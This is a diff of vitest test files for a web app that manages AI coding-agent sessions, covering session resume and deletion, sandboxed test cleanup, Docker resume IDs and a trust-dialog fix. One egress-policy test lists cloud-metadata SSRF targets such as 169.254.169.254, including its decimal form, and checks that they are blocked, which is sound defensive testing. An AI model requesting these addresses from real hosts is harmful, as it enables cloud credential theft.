expect(deleteCalls(fetchMock)).toEqual(['/api/sessions/old-id?killMux=true']);
|
||||
});
|
||||
|
||||
it('retires the old row for deepseek (resumeSession is wired)', async () => {
|
||||
const app = makeApp();
|
||||
await app.resumeHistorySession.call(app, 'old-id', '/repo', 'w1-repo', 'deepseek');
|
||||
|
||||
expect(createBody(fetchMock).deepSeekConfig).toEqual({ resumeSession: true });
|
||||
expect(deleteCalls(fetchMock)).toEqual(['/api/sessions/old-id?killMux=true']);
|
||||
});
|
||||
|
||||
it('never retires a claude row (resumeSessionId is a claudeSessionId, not a Codeman row id)', async () => {
|
||||
const app = makeApp();
|
||||
await app.resumeHistorySession.call(app, 'claude-uuid', '/repo', 'w1-repo', 'claude');
|
||||
|
||||
expect(createBody(fetchMock)).toMatchObject({ mode: 'claude', resumeSessionId: 'claude-uuid' });
|
||||
expect(deleteCalls(fetchMock)).toEqual([]);
|
||||
});
|
||||
|
||||
it('never retires when the new session id equals the old one (no-op resume)', async () => {
|
||||
fetchMock = stubFetch('same-id');
|
||||
const app = makeApp();
|
||||
await app.resumeHistorySession.call(app, 'same-id', '/repo', 'w1-repo', 'omp');
|
||||
|
||||
expect(deleteCalls(fetchMock)).toEqual([]);
|
||||
});
|
||||
});
|
||||
@@ -9,8 +9,10 @@
|
||||
* working tree in the case directory, that scaffolding does not overwrite the
|
||||
* repository's own files, and that a rejected URL never reaches git.
|
||||
*
|
||||
* `test/setup.ts` points HOME at a per-file temp dir, so CASES_DIR resolves
|
||||
* inside the fixture and nothing touches the developer's real ~/codeman-cases.
|
||||
* `test/setup.ts` points HOME at a per-file temp dir, so CASES_DIR
|
||||
* (`join(homedir(), 'codeman-cases')`) resolves inside the fixture; cleanup
|
||||
* below still goes through `safeRmHomeTree`, which refuses to delete anything
|
||||
* outside the temp HOME, so a wrong anchor can never reach the real tree.
|
||||
*
|
||||
* Port: N/A (app.inject).
|
||||
*/
|
||||
@@ -31,7 +33,7 @@ import {
|
||||
} from 'node:fs';
|
||||
import { homedir, tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { createMockRouteContext, type MockRouteContext } from '../mocks/index.js';
|
||||
import { createMockRouteContext, safeRmHomeTree, type MockRouteContext } from '../mocks/index.js';
|
||||
import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
|
||||
import { ApiErrorCode, httpStatusForErrorCode } from '../../src/types.js';
|
||||
import { registerCaseRoutes } from '../../src/web/routes/case-routes.js';
|
||||
@@ -147,7 +149,7 @@ describe('POST /api/cases/clone — input rejection', () => {
|
||||
expect(res.statusCode).toBe(httpStatusForErrorCode(ApiErrorCode.ALREADY_EXISTS));
|
||||
expect(JSON.parse(res.body).error).toMatch(/already exists/i);
|
||||
} finally {
|
||||
rmSync(join(CASES_DIR, 'taken'), { recursive: true, force: true });
|
||||
safeRmHomeTree(join(CASES_DIR, 'taken'));
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -217,7 +219,7 @@ describe.skipIf(!gitPresent)('POST /api/cases/clone — real clone', () => {
|
||||
|
||||
afterAll(() => {
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
for (const name of created) rmSync(join(CASES_DIR, name), { recursive: true, force: true });
|
||||
for (const name of created) safeRmHomeTree(join(CASES_DIR, name));
|
||||
});
|
||||
|
||||
beforeEach(buildApp);
|
||||
|
||||
@@ -26,12 +26,13 @@ import { mkdtemp, rm, readFile, mkdir, writeFile } from 'node:fs/promises';
|
||||
import { existsSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { createMockRouteContext } from '../mocks/index.js';
|
||||
import { createMockRouteContext, safeRmHomeTree, type MockRouteContext } from '../mocks/index.js';
|
||||
import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
|
||||
import { registerSessionRoutes } from '../../src/web/routes/session-routes.js';
|
||||
import { generateHooksConfig, applyWorkspaceHooks } from '../../src/hooks-config.js';
|
||||
import { getDataDir } from '../../src/config/instance.js';
|
||||
import { CASES_DIR } from '../../src/web/route-helpers.js';
|
||||
import { Session } from '../../src/session.js';
|
||||
|
||||
interface HooksFile {
|
||||
hooks?: Record<string, Array<{ matcher?: string; hooks?: Array<{ command?: string }> }>>;
|
||||
@@ -167,6 +168,17 @@ describe('POST /api/sessions workspace hooks', () => {
|
||||
// `user@host:session` — locally a RELATIVE path, so a mkdir would create it
|
||||
// as a junk directory under the server cwd. statusLineTelemetry rides along:
|
||||
// applyStatusLineConfig mkdirs the same way and used to run for remote attaches.
|
||||
// SAFETY (2026-08-29): write straight to `getDataDir()` — `test/setup.ts`
|
||||
// already sandboxes the data dir for the whole file (temp HOME, inherited
|
||||
// CODEMAN_DATA_DIR stripped; same convention as the docker-hosts fixtures
|
||||
// below). A prior version of this test stubbed
|
||||
// CODEMAN_DATA_DIR to a SEPARATE throwaway dir for just this write, but
|
||||
// `session-routes.ts`'s `CODEMAN_CONFIG_DIR` is a module-load-time constant
|
||||
// (frozen at the sandboxed dir before this test ever runs), so that fixture
|
||||
// landed somewhere the route handler could never read it — the remote host
|
||||
// lookup silently failed and the test passed for the wrong reason (Fastify
|
||||
// defaults an unset reply code to 200, so the NOT_FOUND branch and the
|
||||
// intended success branch were indistinguishable by status code alone).
|
||||
await mkdir(getDataDir(), { recursive: true });
|
||||
await writeFile(
|
||||
join(getDataDir(), 'remote-hosts.json'),
|
||||
@@ -223,6 +235,7 @@ describe('POST /api/sessions workspace hooks', () => {
|
||||
|
||||
describe('POST /api/quick-start workspace hooks', () => {
|
||||
let app: FastifyInstance;
|
||||
let ctx: MockRouteContext;
|
||||
|
||||
const quickStart = (payload: Record<string, unknown>) =>
|
||||
app.inject({ method: 'POST', url: '/api/quick-start', payload });
|
||||
@@ -230,19 +243,27 @@ describe('POST /api/quick-start workspace hooks', () => {
|
||||
const hooksFileIn = (dir: string) => join(dir, '.claude', 'settings.local.json');
|
||||
|
||||
beforeEach(async () => {
|
||||
vi.spyOn(Session.prototype, 'startInteractive').mockResolvedValue(undefined);
|
||||
vi.spyOn(Session.prototype, 'startShell').mockResolvedValue(undefined);
|
||||
app = Fastify({ logger: false });
|
||||
await app.register(fastifyCookie);
|
||||
registerSessionRoutes(app, createMockRouteContext());
|
||||
ctx = createMockRouteContext();
|
||||
registerSessionRoutes(app, ctx);
|
||||
installRouteErrorHandler(app);
|
||||
await app.ready();
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await app.close();
|
||||
vi.restoreAllMocks();
|
||||
// Docker fixtures + case dirs must not leak into the next test.
|
||||
await rm(join(getDataDir(), 'docker-hosts.json'), { force: true });
|
||||
await rm(join(getDataDir(), 'docker-cases.json'), { force: true });
|
||||
await rm(CASES_DIR, { recursive: true, force: true });
|
||||
// SAFETY (2026-08-29): CASES_DIR is `join(homedir(), 'codeman-cases')`, and
|
||||
// on environments where `os.homedir()` ignores `$HOME` it resolves to the
|
||||
// PROD case tree. `safeRmHomeTree` refuses to delete anything not under the
|
||||
// redirected test HOME, so a run can never nuke the real `~/codeman-cases`.
|
||||
safeRmHomeTree(CASES_DIR);
|
||||
});
|
||||
|
||||
it('installs hooks into an EXISTING case directory (a linked case / cloned repo)', async () => {
|
||||
@@ -260,7 +281,7 @@ describe('POST /api/quick-start workspace hooks', () => {
|
||||
});
|
||||
|
||||
/** Minimal docker host + case fixtures (docker IO is no-op'd under vitest). */
|
||||
const writeDockerFixtures = async (caseName: string, hostWorkspacePath: string) => {
|
||||
const writeDockerFixtures = async (caseName: string, hostWorkspacePath: string, lastClaudeSessionId?: string) => {
|
||||
await mkdir(getDataDir(), { recursive: true });
|
||||
await writeFile(
|
||||
join(getDataDir(), 'docker-hosts.json'),
|
||||
@@ -268,7 +289,7 @@ describe('POST /api/quick-start workspace hooks', () => {
|
||||
);
|
||||
await writeFile(
|
||||
join(getDataDir(), 'docker-cases.json'),
|
||||
JSON.stringify([{ name: caseName, type: 'docker', hostId: 'd1', hostWorkspacePath }])
|
||||
JSON.stringify([{ name: caseName, type: 'docker', hostId: 'd1', hostWorkspacePath, lastClaudeSessionId }])
|
||||
);
|
||||
};
|
||||
|
||||
@@ -300,6 +321,35 @@ describe('POST /api/quick-start workspace hooks', () => {
|
||||
await rm(ws, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it.each(['codex', 'gemini'] as const)('does not pass a saved Claude conversation id to Docker %s', async (mode) => {
|
||||
const ws = await mkdtemp(join(tmpdir(), `codeman-docker-${mode}-`));
|
||||
try {
|
||||
await writeDockerFixtures('dockexternal', ws, 'e83a9063-3cb4-44d2-a9a0-df153b81721f');
|
||||
|
||||
const res = await quickStart({ caseName: 'dockexternal', mode });
|
||||
expect(res.statusCode).toBe(200);
|
||||
const session = ctx.sessions.get(JSON.parse(res.body).sessionId);
|
||||
expect(session?.toState().resumeSessionId).toBeUndefined();
|
||||
} finally {
|
||||
await rm(ws, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it('passes a saved Claude conversation id only to Docker Claude', async () => {
|
||||
const ws = await mkdtemp(join(tmpdir(), 'codeman-docker-resume-'));
|
||||
const resumeId = 'e83a9063-3cb4-44d2-a9a0-df153b81721f';
|
||||
try {
|
||||
await writeDockerFixtures('dockresume', ws, resumeId);
|
||||
|
||||
const res = await quickStart({ caseName: 'dockresume', mode: 'claude' });
|
||||
expect(res.statusCode).toBe(200);
|
||||
const session = ctx.sessions.get(JSON.parse(res.body).sessionId);
|
||||
expect(session?.toState().resumeSessionId).toBe(resumeId);
|
||||
} finally {
|
||||
await rm(ws, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('applyWorkspaceHooks (the shared decision core in hooks-config)', () => {
|
||||
|
||||
@@ -341,6 +341,36 @@ describe('session-routes', () => {
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(false);
|
||||
});
|
||||
|
||||
it('removes a persisted-only session (not live) via the state store, without touching cleanupSession', async () => {
|
||||
vi.mocked(harness.ctx.store.getSession).mockReturnValueOnce({
|
||||
id: 'ghost-session',
|
||||
owner: undefined,
|
||||
} as never);
|
||||
const res = await harness.app.inject({
|
||||
method: 'DELETE',
|
||||
url: '/api/sessions/ghost-session',
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(true);
|
||||
expect(harness.ctx.store.demoteOrRemoveSession).toHaveBeenCalledWith('ghost-session');
|
||||
expect(harness.ctx.cleanupSession).not.toHaveBeenCalled();
|
||||
// Ark0N/Codeman#353 review: the persisted-only branch used to demote/remove
|
||||
// with no broadcast, so other open tabs kept showing the retired row until
|
||||
// their next unrelated fetch.
|
||||
expect(harness.ctx.broadcast).toHaveBeenCalledWith('session:deleted', { id: 'ghost-session' });
|
||||
});
|
||||
|
||||
it('404s a persisted-only session id the state store does not recognize either', async () => {
|
||||
vi.mocked(harness.ctx.store.getSession).mockReturnValueOnce(null);
|
||||
const res = await harness.app.inject({
|
||||
method: 'DELETE',
|
||||
url: '/api/sessions/truly-nonexistent',
|
||||
});
|
||||
expect(res.statusCode).toBe(404);
|
||||
expect(harness.ctx.store.demoteOrRemoveSession).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
// ========== DELETE /api/sessions (delete all) ==========
|
||||
|
||||
@@ -19,12 +19,34 @@ import Fastify, { type FastifyInstance } from 'fastify';
|
||||
import fastifyWebsocket from '@fastify/websocket';
|
||||
import WebSocket, { WebSocketServer } from 'ws';
|
||||
import { mkdirSync, writeFileSync, rmSync } from 'node:fs';
|
||||
import { homedir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { createMockRouteContext, type MockRouteContext } from '../mocks/index.js';
|
||||
import { registerVoiceRoutes, _resetVoiceStreamCountForTesting } from '../../src/web/routes/voice-routes.js';
|
||||
import { MAX_CONCURRENT_STREAMS } from '../../src/config/voice.js';
|
||||
|
||||
// SAFETY (2026-08-29): anchor on the REDIRECTED test HOME (process.env.HOME,
|
||||
// which test/setup.ts points at a throwaway dir). `os.homedir()` follows it too,
|
||||
// but this file writes and deletes `~/.claude/.credentials.json`, the one file
|
||||
// where a wrong anchor would sign the developer out of their own CLI, so it
|
||||
// fails loudly if setup.ts did not run rather than trusting any fallback.
|
||||
function testHome(): string {
|
||||
if (!process.env.HOME) throw new Error('process.env.HOME unset — test/setup.ts must run first');
|
||||
return process.env.HOME;
|
||||
}
|
||||
|
||||
function writeCredentials(expiresAt: number | undefined): void {
|
||||
const dir = join(testHome(), '.claude');
|
||||
mkdirSync(dir, { recursive: true });
|
||||
writeFileSync(
|
||||
join(dir, '.credentials.json'),
|
||||
JSON.stringify({ claudeAiOauth: { accessToken: TOKEN, expiresAt, subscriptionType: 'max' } })
|
||||
);
|
||||
}
|
||||
|
||||
function removeCredentials(): void {
|
||||
rmSync(join(testHome(), '.claude', '.credentials.json'), { force: true });
|
||||
}
|
||||
|
||||
const PORT = 3230;
|
||||
const UPSTREAM_PORT = 3231;
|
||||
const TOKEN = 'sk-ant-oat01-voice-route-test';
|
||||
@@ -38,19 +60,6 @@ interface UpstreamCapture {
|
||||
socket: WebSocket | null;
|
||||
}
|
||||
|
||||
function writeCredentials(expiresAt: number | undefined): void {
|
||||
const dir = join(homedir(), '.claude');
|
||||
mkdirSync(dir, { recursive: true });
|
||||
writeFileSync(
|
||||
join(dir, '.credentials.json'),
|
||||
JSON.stringify({ claudeAiOauth: { accessToken: TOKEN, expiresAt, subscriptionType: 'max' } })
|
||||
);
|
||||
}
|
||||
|
||||
function removeCredentials(): void {
|
||||
rmSync(join(homedir(), '.claude', '.credentials.json'), { force: true });
|
||||
}
|
||||
|
||||
function waitForClose(ws: WebSocket, timeoutMs = 3000): Promise<{ code: number; reason: string }> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const timer = setTimeout(() => reject(new Error('WS close timeout')), timeoutMs);
|
||||
|
||||
@@ -16,6 +16,7 @@ import { registerWebviewRoutes } from '../../src/web/routes/webview-routes.js';
|
||||
import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
|
||||
import { webviewCapabilities } from '../../src/webview-capabilities.js';
|
||||
import { capabilityFromProxyPath } from '../../src/web/webview-proxy.js';
|
||||
import { writeWebviews } from '../../src/webview-store.js';
|
||||
import { TabLayoutService } from '../../src/tab-layout-service.js';
|
||||
import type { TabLayout } from '../../src/tab-layout.js';
|
||||
|
||||
@@ -286,3 +287,59 @@ describe('POST /api/webviews/probe', () => {
|
||||
expect(res.statusCode).toBe(400);
|
||||
});
|
||||
});
|
||||
|
||||
describe('egress policy: link-local and cloud-metadata targets', () => {
|
||||
it('refuses to SAVE a metadata address, in every spelling, with a message that says why', async () => {
|
||||
for (const url of [
|
||||
'http://169.254.169.254/latest/meta-data/',
|
||||
'http://2852039166/', // decimal form of 169.254.169.254
|
||||
'http://[fd00:ec2::254]/',
|
||||
'http://metadata.google.internal/computeMetadata/v1/',
|
||||
]) {
|
||||
const res = await create({ name: 'IMDS', url });
|
||||
expect(res.statusCode, url).toBe(400);
|
||||
expect(res.body, url).toMatch(/Blocked URL/);
|
||||
}
|
||||
});
|
||||
|
||||
it('still saves the loopback dashboards the feature exists for', async () => {
|
||||
expect((await create({ name: 'Grafana', url: 'http://127.0.0.1:4000/' })).statusCode).toBe(200);
|
||||
expect((await create({ name: 'Local', url: 'http://localhost:3080/' })).statusCode).toBe(200);
|
||||
});
|
||||
|
||||
it('the probe refuses the same targets up front, before any connection is attempted', async () => {
|
||||
const res = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/webviews/probe',
|
||||
payload: { url: 'http://169.254.169.254/' },
|
||||
});
|
||||
expect(res.statusCode).toBe(400);
|
||||
expect(res.body).toMatch(/Blocked URL/);
|
||||
});
|
||||
|
||||
it('the proxy refuses a record saved before the rule existed with a 403, never a relay', async () => {
|
||||
// Written straight to the store: the schema would refuse it today, which is
|
||||
// exactly why the proxy must judge the target again at connect time.
|
||||
await writeWebviews(tmpDir, [
|
||||
{
|
||||
id: 'legacy-imds',
|
||||
name: 'legacy',
|
||||
url: 'http://169.254.169.254/',
|
||||
embedMode: 'proxy',
|
||||
trusted: false,
|
||||
createdAt: Date.now(),
|
||||
},
|
||||
]);
|
||||
const cap = webviewCapabilities.mint('legacy-imds', undefined);
|
||||
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
try {
|
||||
const res = await app.inject({ method: 'GET', url: `/webview/${cap}/latest/meta-data/` });
|
||||
expect(res.statusCode).toBe(403);
|
||||
expect(res.body).toMatch(/link-local or cloud-metadata/);
|
||||
expect(warn).toHaveBeenCalledWith(expect.stringContaining('refused by egress policy'));
|
||||
} finally {
|
||||
warn.mockRestore();
|
||||
webviewCapabilities.revokeWebview('legacy-imds');
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -81,6 +81,16 @@ describe('run mode UI', () => {
|
||||
expect(app.runMode).toBe('antigravity');
|
||||
expect(runBtnLabel.textContent).toBe('Run AG');
|
||||
});
|
||||
|
||||
it('accepts OMP mode from server sync and updates the run button label', async () => {
|
||||
const { app, storage, runBtnLabel } = loadRunModeHarness();
|
||||
|
||||
storage.set('codeman_runMode', 'claude');
|
||||
await app.loadAppSettingsFromServer(Promise.resolve({ runMode: 'omp' }));
|
||||
|
||||
expect(app.runMode).toBe('omp');
|
||||
expect(runBtnLabel.textContent).toBe('Run OMP');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Run launch synchronization', () => {
|
||||
@@ -367,12 +377,13 @@ describe('Codex quick start settings', () => {
|
||||
'welcomeGeminiBtn',
|
||||
'welcomePiBtn',
|
||||
'welcomeGrokBtn',
|
||||
'welcomeOmpBtn',
|
||||
'welcomeTunnelBtn',
|
||||
]) {
|
||||
welcomeBtns[id] = { style: { display: 'PRISTINE' } };
|
||||
}
|
||||
const modeBtns: Record<string, { style: { display: string } }> = {};
|
||||
for (const mode of ['claude', 'opencode', 'codex', 'gemini', 'antigravity', 'pi', 'grok', 'shell']) {
|
||||
for (const mode of ['claude', 'opencode', 'codex', 'gemini', 'antigravity', 'pi', 'grok', 'omp', 'shell']) {
|
||||
modeBtns[mode] = { style: { display: 'PRISTINE' } };
|
||||
}
|
||||
const menu = {
|
||||
@@ -405,6 +416,7 @@ describe('Codex quick start settings', () => {
|
||||
antigravity: false,
|
||||
pi: false,
|
||||
grok: false,
|
||||
omp: false,
|
||||
cloudflared: false,
|
||||
};
|
||||
|
||||
@@ -442,16 +454,23 @@ describe('Codex quick start settings', () => {
|
||||
withAgy.app.applyWelcomeCliVisibility();
|
||||
expect(withAgy.welcomeBtns.welcomeAntigravityBtn.style.display).toBe('flex');
|
||||
expect(withAgy.welcomeBtns.welcomeClaudeBtn.style.display).toBe('none');
|
||||
|
||||
// OMP is a first-class welcome action, gated on `omp` like the rest.
|
||||
const withOmp = loadUi({ ...ALL_OFF, omp: true });
|
||||
withOmp.app.applyWelcomeCliVisibility();
|
||||
expect(withOmp.welcomeBtns.welcomeOmpBtn.style.display).toBe('flex');
|
||||
expect(withOmp.welcomeBtns.welcomeClaudeBtn.style.display).toBe('none');
|
||||
});
|
||||
|
||||
it('gates every run mode in the dropdown, antigravity included, and never shell', () => {
|
||||
const { app, modeBtns, menu } = loadUi({ ...ALL_OFF, claude: true, antigravity: true });
|
||||
const { app, modeBtns, menu } = loadUi({ ...ALL_OFF, claude: true, antigravity: true, omp: true });
|
||||
app._refreshRunModeAvailability(menu);
|
||||
expect(modeBtns.claude.style.display).toBe('flex');
|
||||
expect(modeBtns.antigravity.style.display).toBe('flex');
|
||||
expect(modeBtns.opencode.style.display).toBe('none');
|
||||
expect(modeBtns.codex.style.display).toBe('none');
|
||||
expect(modeBtns.gemini.style.display).toBe('none');
|
||||
expect(modeBtns.omp.style.display).toBe('flex');
|
||||
// Shell needs no external CLI, and leaving it alone is what guarantees the
|
||||
// menu is never empty on a box with nothing installed.
|
||||
expect(modeBtns.shell.style.display).toBe('PRISTINE');
|
||||
@@ -468,6 +487,7 @@ describe('Codex quick start settings', () => {
|
||||
expect(offered).toContain('antigravity');
|
||||
expect(offered).toContain('pi');
|
||||
expect(offered).toContain('grok');
|
||||
expect(offered).toContain('omp');
|
||||
const src = readFileSync(resolve(import.meta.dirname, '../src/web/public/session-ui.js'), 'utf8');
|
||||
// Anchor on the DEFINITION, not the earlier call site in toggleRunModeMenu.
|
||||
const fn = src.slice(src.indexOf('_refreshRunModeAvailability(menu) {'));
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
import { describe, it, expect, beforeAll, afterAll, afterEach, vi } from 'vitest';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
import { existsSync, mkdtempSync, rmSync } from 'node:fs';
|
||||
import { mkdtempSync, rmSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { homedir, tmpdir } from 'node:os';
|
||||
import { safeRmHomeTree } from './mocks/index.js';
|
||||
|
||||
const TEST_PORT = 3120;
|
||||
const CASES_DIR = join(homedir(), 'codeman-cases');
|
||||
@@ -27,13 +28,9 @@ describe('Session Cleanup', () => {
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
// Clean up cases created during this test
|
||||
// Clean up cases created during this test (containment-gated).
|
||||
while (createdCases.length > 0) {
|
||||
const caseName = createdCases.pop()!;
|
||||
const casePath = join(CASES_DIR, caseName);
|
||||
if (existsSync(casePath)) {
|
||||
rmSync(casePath, { recursive: true, force: true });
|
||||
}
|
||||
safeRmHomeTree(join(CASES_DIR, createdCases.pop()!));
|
||||
}
|
||||
});
|
||||
|
||||
@@ -228,10 +225,7 @@ describe('Resource Management', () => {
|
||||
|
||||
afterAll(async () => {
|
||||
for (const caseName of createdCases) {
|
||||
const casePath = join(CASES_DIR, caseName);
|
||||
if (existsSync(casePath)) {
|
||||
rmSync(casePath, { recursive: true, force: true });
|
||||
}
|
||||
safeRmHomeTree(join(CASES_DIR, caseName));
|
||||
}
|
||||
await server.stop();
|
||||
}, 60000);
|
||||
|
||||
@@ -8,10 +8,23 @@
|
||||
*
|
||||
* RAW_DIALOG_CHUNK below is a verbatim slice of the PTY stream from a live
|
||||
* session parked on that dialog (Claude Code 2.1.220).
|
||||
*
|
||||
* The second bug this pins: Claude Code 2.1.252 dropped the option numbers, put
|
||||
* "No, exit" first and highlights IT, so the blind Enter that answered the old
|
||||
* layout selects *exit* and the pane dies seconds after the session starts.
|
||||
* RENDERED_DIALOG_2_1_252 is a verbatim `capture-pane -p` of that screen.
|
||||
*/
|
||||
import { describe, expect, it, vi, afterEach } from 'vitest';
|
||||
import { Session } from '../src/session.js';
|
||||
import { isTrustDialogScreen, compactScreenText, TRUST_DIALOG_MAX_ATTEMPTS } from '../src/session-trust-dialog.js';
|
||||
import {
|
||||
isTrustDialogScreen,
|
||||
compactScreenText,
|
||||
trustDialogNextKey,
|
||||
TRUST_KEY_CONFIRM,
|
||||
TRUST_KEY_DOWN,
|
||||
TRUST_KEY_UP,
|
||||
TRUST_DIALOG_MAX_ATTEMPTS,
|
||||
} from '../src/session-trust-dialog.js';
|
||||
|
||||
/** Verbatim from the wire: note the `\x1b[C` where every space should be. */
|
||||
const RAW_DIALOG_CHUNK =
|
||||
@@ -29,6 +42,25 @@ const RENDERED_DIALOG = [
|
||||
' Enter to confirm · Esc to cancel',
|
||||
].join('\n');
|
||||
|
||||
/**
|
||||
* Verbatim `capture-pane -p` from Claude Code 2.1.252 on a fresh case: no
|
||||
* numbers, the options reversed, and the cursor parked on the one that quits.
|
||||
*/
|
||||
const RENDERED_DIALOG_2_1_252 = [
|
||||
' Accessing workspace:',
|
||||
' /home/arkon/codeman-cases/trustprobe1',
|
||||
' Quick safety check: Is this a project you created or one you trust? (Like your own code, a well-known open source',
|
||||
" project, or work from your team). If not, take a moment to review what's in this folder first.",
|
||||
" Claude Code'll be able to read, edit, and execute files here.",
|
||||
' Security guide',
|
||||
' ❯ No, exit',
|
||||
' Yes, I trust this folder',
|
||||
' Enter to confirm · Esc to cancel',
|
||||
].join('\n');
|
||||
|
||||
/** The same screen after one arrow press: the cursor has moved onto "yes". */
|
||||
const RENDERED_DIALOG_2_1_252_ON_YES = RENDERED_DIALOG_2_1_252.replace(' ❯ No, exit\n Yes,', ' No, exit\n ❯ Yes,');
|
||||
|
||||
/** An ordinary working session: no dialog anywhere. */
|
||||
const RENDERED_MAIN_UI = [
|
||||
'✻ Actualizing… (13m 23s · ↓ 47.5k tokens)',
|
||||
@@ -61,12 +93,54 @@ describe('isTrustDialogScreen', () => {
|
||||
expect(isTrustDialogScreen('press Enter to confirm the release')).toBe(false);
|
||||
});
|
||||
|
||||
it('sees the 2.1.252 dialog, whose options lost their numbers', () => {
|
||||
// '2.no,exit' is gone from this layout, so the confirm affordance is now the
|
||||
// only thing carrying the match.
|
||||
expect(isTrustDialogScreen(RENDERED_DIALOG_2_1_252)).toBe(true);
|
||||
});
|
||||
|
||||
it('compacts away both real spaces and the escapes tmux sends instead', () => {
|
||||
expect(compactScreenText('I\x1b[Ctrust\x1b[Cthis\x1b[Cfolder')).toBe('itrustthisfolder');
|
||||
expect(compactScreenText('I trust this folder')).toBe('itrustthisfolder');
|
||||
});
|
||||
});
|
||||
|
||||
describe('trustDialogNextKey', () => {
|
||||
it('confirms straight away when the trust option is already highlighted', () => {
|
||||
expect(trustDialogNextKey(RENDERED_DIALOG)).toBe(TRUST_KEY_CONFIRM);
|
||||
expect(trustDialogNextKey(RENDERED_DIALOG_2_1_252_ON_YES)).toBe(TRUST_KEY_CONFIRM);
|
||||
});
|
||||
|
||||
it('moves DOWN instead of confirming when 2.1.252 parks the cursor on "No, exit"', () => {
|
||||
// The regression in one line: Enter here answers *exit* and kills the pane.
|
||||
expect(trustDialogNextKey(RENDERED_DIALOG_2_1_252)).toBe(TRUST_KEY_DOWN);
|
||||
});
|
||||
|
||||
it('moves UP when the trust option is the one above, as in the numbered layout', () => {
|
||||
const numberedOnNo = RENDERED_DIALOG.replace(' ❯ 1. Yes,', ' 1. Yes,').replace(
|
||||
' 2. No, exit',
|
||||
' ❯ 2. No, exit'
|
||||
);
|
||||
expect(trustDialogNextKey(numberedOnNo)).toBe(TRUST_KEY_UP);
|
||||
});
|
||||
|
||||
it('reads the LAST frame in an append-only buffer, not the first', () => {
|
||||
// The direct-PTY fallback has no pane to capture, so it reads a buffer that
|
||||
// still holds every repaint since launch. The freshest frame is the truth.
|
||||
const buffer = `${RENDERED_DIALOG_2_1_252}\n${RENDERED_DIALOG_2_1_252_ON_YES}`;
|
||||
expect(trustDialogNextKey(buffer)).toBe(TRUST_KEY_CONFIRM);
|
||||
});
|
||||
|
||||
it('presses nothing when the screen does not say which option is selected', () => {
|
||||
// A layout this cannot read is a dialog for the human, not a coin flip: the
|
||||
// wrong guess exits Claude.
|
||||
const noMarker = RENDERED_DIALOG_2_1_252.replace(' ❯ No, exit', ' No, exit');
|
||||
expect(trustDialogNextKey(noMarker)).toBe(null);
|
||||
expect(trustDialogNextKey(RENDERED_MAIN_UI)).toBe(null);
|
||||
expect(trustDialogNextKey('')).toBe(null);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Session trust-dialog auto-accept', () => {
|
||||
afterEach(() => vi.useRealTimers());
|
||||
|
||||
@@ -102,6 +176,32 @@ describe('Session trust-dialog auto-accept', () => {
|
||||
expect(writes).toEqual(['\r']);
|
||||
});
|
||||
|
||||
it('walks the 2.1.252 dialog onto the trust option before it confirms', () => {
|
||||
vi.useFakeTimers();
|
||||
// The whole point: no Enter goes out while "No, exit" is highlighted.
|
||||
let screen = RENDERED_DIALOG_2_1_252;
|
||||
const { writes, tick } = sessionShowing(() => screen);
|
||||
tick();
|
||||
expect(writes).toEqual([TRUST_KEY_DOWN]);
|
||||
|
||||
screen = RENDERED_DIALOG_2_1_252_ON_YES;
|
||||
vi.advanceTimersByTime(2000);
|
||||
tick();
|
||||
expect(writes).toEqual([TRUST_KEY_DOWN, TRUST_KEY_CONFIRM]);
|
||||
});
|
||||
|
||||
it('never presses Enter while the cursor sits on "No, exit"', () => {
|
||||
vi.useFakeTimers();
|
||||
// A dialog that never moves (a dropped arrow, a wedged pane) must run out of
|
||||
// attempts pressing arrows, not answer *exit* on the way.
|
||||
const { writes, tick } = sessionShowing(() => RENDERED_DIALOG_2_1_252);
|
||||
for (let i = 0; i < 20; i++) {
|
||||
tick();
|
||||
vi.advanceTimersByTime(2000);
|
||||
}
|
||||
expect(writes).toEqual(Array(TRUST_DIALOG_MAX_ATTEMPTS).fill(TRUST_KEY_DOWN));
|
||||
});
|
||||
|
||||
it('retries a dropped keystroke, then gives up rather than typing forever', () => {
|
||||
vi.useFakeTimers();
|
||||
// Ink can drop a keystroke while it is still mounting the widget, so one
|
||||
|
||||
+41
-3
@@ -5,8 +5,11 @@
|
||||
* mode before application modules load. Tests therefore cannot touch the real
|
||||
* Codeman state/cases tree or launch external tmux-backed agent sessions.
|
||||
*
|
||||
* This setup file strips shell-level auth configuration that can leak from a
|
||||
* running Codeman instance, then handles mock/timer cleanup between tests.
|
||||
* This setup file strips shell-level configuration that can leak from a running
|
||||
* Codeman instance — auth (`CODEMAN_PASSWORD`/`CODEMAN_USERNAME`), the gesture
|
||||
* flag, and the three INSTANCE-selection vars that would otherwise point the
|
||||
* suite at a real data dir or tmux socket — then handles mock/timer cleanup
|
||||
* between tests.
|
||||
*/
|
||||
|
||||
import { mkdtempSync, rmSync } from 'node:fs';
|
||||
@@ -39,6 +42,39 @@ delete process.env.CODEMAN_USERNAME;
|
||||
// (test/server-index-title.test.ts) when the shell exports CODEMAN_GESTURE=1.
|
||||
delete process.env.CODEMAN_GESTURE;
|
||||
|
||||
